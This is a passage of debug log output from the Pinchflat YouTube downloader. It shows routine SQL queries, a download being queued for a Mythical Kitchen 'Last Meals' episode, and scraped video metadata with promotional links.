10PM EST / 7PM PST. Get your tickets NOW at https://mythic.al/GME\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ken's Last Meal\n0:22 You Can't Do Math With A Groin Injury\n1:26 Have You Thought About You Last Meal Before?\n2:05 How Often Do You Think About Death?\n2:55 1st Course\n6:38 Addressing The Rumors\n7:25 Doing Open Mics During Med School\n8:49 LARP Research For Role Models\n12:01 Hosting 99 to Beat\n13:13 UGH Joel McHale\n13:54 2nd Course\n16:39 Crazy Nights In Koreatown\n17:58 Rise Of Korean Culture\n19:04 Find Art In Whatever You're Doing\n21:37 The Soul Of A Comedian\n23:57 3rd Course\n25:27 The Hangover & Vietnamese Inside Jokes\n29:13 Advice For People Going Through Cancer\n32:17 4th Course\n32:55 Love For Comedy\n34:45 The Key To Life\n35:27 Is Laughter The Best Medicine?\n38:29 Lightning Round\n41:24 Ken's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Ken Jeong Eats His Last Meal", "https://www.youtube.com/watch?v=VTMUWlrv8vg", "VTMUWlrv8vg", 2547, false, "/downloads/Last Meals/2025-09-23 Ken Jeong Eats His Last Meal/Ken Jeong Eats His Last Meal [VTMUWlrv8vg].mp4", false, 1, ~U[2025-09-23 10:00:51Z]] 20:47:32.270 [debug] QUERY OK source="sources" db=0.3ms idle=246.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:32.271 [debug] QUERY OK source="media_profiles" db=0.2ms idle=28.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:32.272 [debug] QUERY OK source="media_items" db=0.3ms idle=29.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [27] 20:47:32.272 [info] Kicking off download for media item #27 (VTMUWlrv8vg) 20:47:32.274 [debug] QUERY OK source="tasks" db=0.1ms idle=4.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [30, 27, ~U[2026-03-28 00:47:32Z], ~U[2026-03-28 00:47:32Z]] 20:47:32.275 [debug] Current batch of media processed. Will check again in 1000ms 20:47:32.915 [info] GET / 20:47:32.916 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:47:32.917 [debug] QUERY OK source="settings" db=0.3ms idle=645.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:32.917 [debug] QUERY OK source="media_profiles" db=0.1ms idle=645.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:47:32.918 [debug] QUERY OK source="sources" db=0.1ms idle=644.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:47:32.918 [debug] QUERY OK source="media_items" db=0.4ms idle=643.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:32.918 [debug] QUERY OK source="media_items" db=0.1ms idle=643.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:32.919 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:32.920 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:32.921 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:32.923 [debug] QUERY OK source="tasks" db=0.5ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:47:32.924 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [1, 2] 20:47:32.924 [debug] QUERY OK source="sources" db=0.7ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:32.926 [debug] QUERY OK source="media_items" db=0.2ms idle=6.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:32.927 [debug] QUERY OK source="media_items" db=0.5ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:32.928 [debug] QUERY OK source="media_items" db=0.4ms idle=5.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:47:32.930 [debug] QUERY OK source="media_items" db=0.9ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:32.930 [debug] QUERY OK source="sources" db=0.3ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:32.933 [info] Sent 200 in 18ms 20:47:33.275 [debug] Current batch of media processed. Will check again in 1000ms 20:47:33.347 [info] CONNECTED TO Phoenix.LiveView.Socket in 12µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Xg43LSwkFDl9WlQkOyomCWAERnNUZiAB5ieNBAmU-idScfIJRGqBc1Vl", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:47:33.356 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "downloaded"} 20:47:33.356 [debug] QUERY OK source="media_items" db=0.0ms idle=428.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:33.356 [debug] QUERY OK source="media_items" db=0.1ms idle=427.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:33.356 [debug] Replied in 442µs 20:47:33.356 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "pending"} 20:47:33.356 [debug] QUERY OK source="media_items" db=0.1ms idle=426.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:47:33.357 [debug] QUERY OK source="media_items" db=0.2ms idle=426.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:33.357 [debug] QUERY OK source="sources" db=0.0ms idle=331.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:33.357 [debug] Replied in 724µs 20:47:33.358 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:47:33.358 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:47:33.358 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [1, 2] 20:47:33.358 [debug] QUERY OK source="sources" db=0.2ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:33.358 [debug] Replied in 817µs 20:47:33.359 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:47:33.359 [debug] Replied in 32µs 20:47:34.277 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Becky Lynch's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Becky's Last Meal Menu\n1:54 Thinking About Death\n2:57 1st Course - Tea & Sourdough Toast\n4:45 Becky's Body Image Journey\n6:16 Seth Rollins Sounds Like A Pirate\n7:42 Work Ethic & Getting To The Top\n8:16 Believing & Doubting Yourself Equally\n10:08 2nd Course - Monster Munch, Chipper Chips, Irish Stew, & Fanta\n13:41 Receipts From Jim \"The Anvil\" Neidhart\n14:48 \"You Deserve It\"\n15:58 Attempting To Be Normal\n18:00 The Proper Way To Eat Monster Munch\n19:00 3rd Course - Fried Rice & Sweet & Sour Chicken\n20:33 Grandma Wasn't Scared Of Death\n23:20 Losing A Parent While Becoming One\n25:35 Love & Legacy\n27:00 What Happens When You Die?\n28:09 4th Course - Cadbury Chocolate & Jelly\n29:34 Karma & Parenting\n31:09 Nothing Better Than Proving Someone Wrong\n32:20 Nepo Babies\n33:25 Wrestlemania & Calling Out Rhea Ripley\n34:59 Lightning Round\n36:52 Becky's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th" <> ..., "duration" => 2276, "filename" => "/downloads/Last Meals/2024-03-26 WWE’s Becky Lynch Eats Her Last Meal/WWE’s Becky Lynch Eats Her Last Meal [MS-lV6bru3Q].mp4", "id" => "MS-lV6bru3Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MS-lV6bru3Q", "playlist_index" => 28, "timestamp" => 1711447225, "title" => "WWE’s Becky Lynch Eats Her Last Meal", "upload_date" => "20240326"} 20:47:34.278 [debug] QUERY OK source="sources" db=0.3ms idle=920.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:34.278 [debug] QUERY OK source="sources" db=0.2ms idle=920.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:34.279 [debug] QUERY OK source="media_items" db=0.4ms idle=920.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = 